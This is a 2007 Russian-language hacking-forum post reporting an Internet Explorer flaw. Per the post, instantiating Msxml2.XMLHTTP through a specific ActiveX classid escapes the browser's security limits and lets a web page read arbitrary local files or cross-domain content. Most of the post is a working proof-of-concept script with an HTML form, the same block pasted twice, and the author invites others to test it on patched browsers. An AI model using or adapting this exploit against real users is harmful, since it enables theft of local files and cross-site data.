V1k
30.06.2007, 11:41
Недавно, изучая стандартные ActiveX компоненты на предмет уязвимостей, наткнулся на одну занятную вещь: если ActiveX компонент Msxml2.XMLHTTP объявить, как показано ниже, на него не действуют ограничения безопасности. Поэтому можно просмотреть произвольный локальный (например file:///c:/boot.ini) или удаленный (http://forum.antichat.ru) файл с любого домена. Тестировал на IE 6 XP SP2 - работает, на IE 7 Vista - нет. Может есть у кого полностью запатченный Осел, проверить, исправил ли Мелкософт этот баг?
<script>
function readfile(filename)
{
try
{
var xmlobj = document.createElement ('object');
xmlobj.setAttribute ('id','xmlobj');
xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
xmlobj.open ('get',filename, false);
xmlobj.send ();
var text = xmlobj.responseText;
xmlobj = null;
return text;
}
catch(e)
{
return 'Ошибка! '+e.description;
}
}
</script>
<textarea id='text1' cols=60 rows=15></textarea></br>
<input size=58 id='file1'/>
<input type=button value='Открыть' onclick='text1.value=readfile(file1.value)'/>
<script>
function readfile(filename)
{
try
{
var xmlobj = document.createElement ('object');
xmlobj.setAttribute ('id','xmlobj');
xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
xmlobj.open ('get',filename, false);
xmlobj.send ();
var text = xmlobj.responseText;
xmlobj = null;
return text;
}
catch(e)
{
return 'Ошибка! '+e.description;
}
}
</script>
<textarea id='text1' cols=60 rows=15></textarea></br>
<input size=58 id='file1'/>
<input type=button value='Открыть' onclick='text1.value=readfile(file1.value)'/>